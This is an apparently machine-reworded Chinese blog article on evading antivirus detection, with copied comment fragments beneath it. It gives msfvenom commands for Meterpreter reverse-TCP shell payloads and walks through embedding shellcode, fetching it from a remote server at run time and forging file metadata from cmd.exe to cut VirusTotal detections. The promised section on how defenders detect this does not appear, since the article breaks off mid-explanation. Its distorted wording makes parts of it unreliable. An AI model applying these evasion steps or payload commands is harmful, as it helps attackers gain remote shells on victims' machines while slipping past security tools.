绕开杀软:根据互联网接受ShellCode的无文档攻击方式与检验方式
一、简述
反病毒预案一般用以检验恶意程序,而且一般要借助外部剖析来区别文档的优劣。假如文档本身就包括故意內容,那麼这类方式会合理。但假如网络攻击应用重量级的Stager来替代下載,并将编码载入到运存中,那麼会产生什么呀?往往,它是绕开反病毒软件的这种好方式。
虽然这类方式不一定新鮮,但绕开反病毒软件针对大部分当代恶意程序而言都很普遍,人们期待出示某些相关怎样搭建该类Payload时应当采用流程的构思,并表明防御者怎么使用普遍的EDR道具来规模性检验该类活動。
在文中中,人们将应用VirusTotal做为检验的规范,并应用Metasploit反方向TCP ShellCode做为Payload。这出示了这种数据分布的方式,能够考量出Payload的实效性,可是必须留意的是,只能静态检验或应用场景形为的检验,能够捕捉到实际全球中的Payload。
二、攻击方式
2.1 Msfvenom文件创建
人们从基本知识开使,最先应用msfvenom建立1个反方向Shell可实行Payload,其中包括下列指令:
msfvenom –p windows/meterpreter/reverse_tcp LHOST=172.16.28.216 LPORT=4444 –f exe –o met.exe
将此文件上传到VirusTotal,发觉它被很多反病毒模块标识,它是没问题的,由于这是1个普遍的Payload,很多安会生产商都是对于Metasploit开展检验与查杀。
1.png
由于将该文档标识为故意的模块总数较多,因此绝大多数EDR都可以合理检验出去。除此之外,一些模块暴击的名字也非常好的表明了该文档的特性,比如:Trojan:win32/Meterpreter.O。
2.2 内嵌式Meterpreter ShellCode
由于大部分反病毒生产商都把握了Metasploit可实行模版的签字,因而人们决策建立自身的可执行文件,随后再实行Metasploit ShellCode。人们再度应用msfvenom,但在此次只转化成ShellCode,而没有详细的可执行文件:
msfvenom –p windows/meterpreter/reverse_tcp LHOST=172.16.28.216 LPORT=4444 –f c
2.png
人们将ShellCode拷贝到1个独立的C++原文件中,根据这一简易的流程,能够启用memcpy,以将命令载入到运存中。人们发觉,VirusTotal的暴击总数显著降低,由45降低来到14。
3.png
暴击总数的降低,表明了反病毒签字与Metasploit可实行模版具备强关联性。可是,也有别的方式可以降低文档被VirusTotal模块暴击的总数。
2.3 无线代管ShellCode
人们检测的第四种工艺,牵涉到静态载入ShellCode。它没有应用已撰写到二进制文件中的ShellCode编译可执行文件,只是在运作时查找ShellCode,并将其载入到运存中。
人们建立了1个名叫get_shellcode()的涵数,用以从另一个服务器无线查找前边实例中应用的msfvenom ShellCode。该涵数应用winhttp库中的各类方式,根据HTTP的方法查找ShellCode。除此之外,当从无线部位以ASCII文件类型查找ShellCode时,必须实行附加流程,以将命令变换为打算实行的初始二进制文件类型。
4.png
这造成VirusTotal准确率从14降低到5。这说明,某些模块将会应用了应用场景Metasploit ShellCode方式的签字。从二进制文件本身中删掉ShellCode以后,它如今就可以绕开这种模块。
5.png
2.4 元数据变更
某些反病毒模块会查看文档的元数据,进而分辨其来原和安全系数。Visual Studio出示了这种变更元数据的简易方式,容许人们改动二进制特性,进而使其与声誉优良的软件商配对。人们惟一必须开展的流程,也是向顶目中加上“Version”資源,并从法律认可的可执行文件中拷贝内容。
6.png
在将cmd.exe中的元数据拷贝到可编写的字符串中后,人们将二进制文件再次递交到VirusTotal。此时,准确率降低到仅有3。这代表,一些模块会对于元数据来源于声誉优良的生产商的文档提升趋向于法律认可的综合排序。
7.png
2.5 取代HTTP涵数
虽然早已删掉了Metasploit模版和ShellCode,并加上了元数据,但依然能够捕捉到Payload。以便得到0准确率,人们要思索,你在一流程注数了哪些?
人们必须再次思索,最先要明确编码的哪家部位造成了告警。从判断力上,猜疑是涵数VirtualAlloc(含有READWRITE_EXECUTE叁数)和memcpy造成3个反病毒模块觉得该文档是异常
相关文章
- 5条评论
- 酒奴温人2022-06-03 10:03:05
- ng这造成VirusTotal准确率从14降低到5。这说明,某些模块将会应用了应用场景Metasploit ShellCode方式的签字。从二进制文件本身中删掉ShellCode以后,它如今就可以绕开这种模块。5.pn
- 掩吻颇倔2022-06-03 03:22:40
- 了这种变更元数据的简易方式,容许人们改动二进制特性,进而使其与声誉优良的软件商配对。人们惟一必须开展的流程,也是向顶目中加上“Version”資源,并从法律认可的可执行文件中拷贝内容。6
- 语酌痴者2022-06-03 04:01:12
- 的特性,比如:Trojan:win32/Meterpreter.O。2.2 内嵌式Meterpreter ShellCode由于大部分反病毒生产商都把握了Metasploit可实行模版的签字,因而人
- 只影怯慌2022-06-03 08:30:39
- 器无线查找前边实例中应用的msfvenom ShellCode。该涵数应用winhttp库中的各类方式,根据HTTP的方法查找ShellCode。除此之外,当从无线部位以ASCII文件类型查找ShellCode时,必须实行附加流程,
- 弦久顾执2022-06-03 03:19:59
- 中包括下列指令:msfvenom –p windows/meterpreter/reverse_tcp LHOST=172.16.28.216 LPORT=4444 –f exe –o met.exe将此文件上传到Vir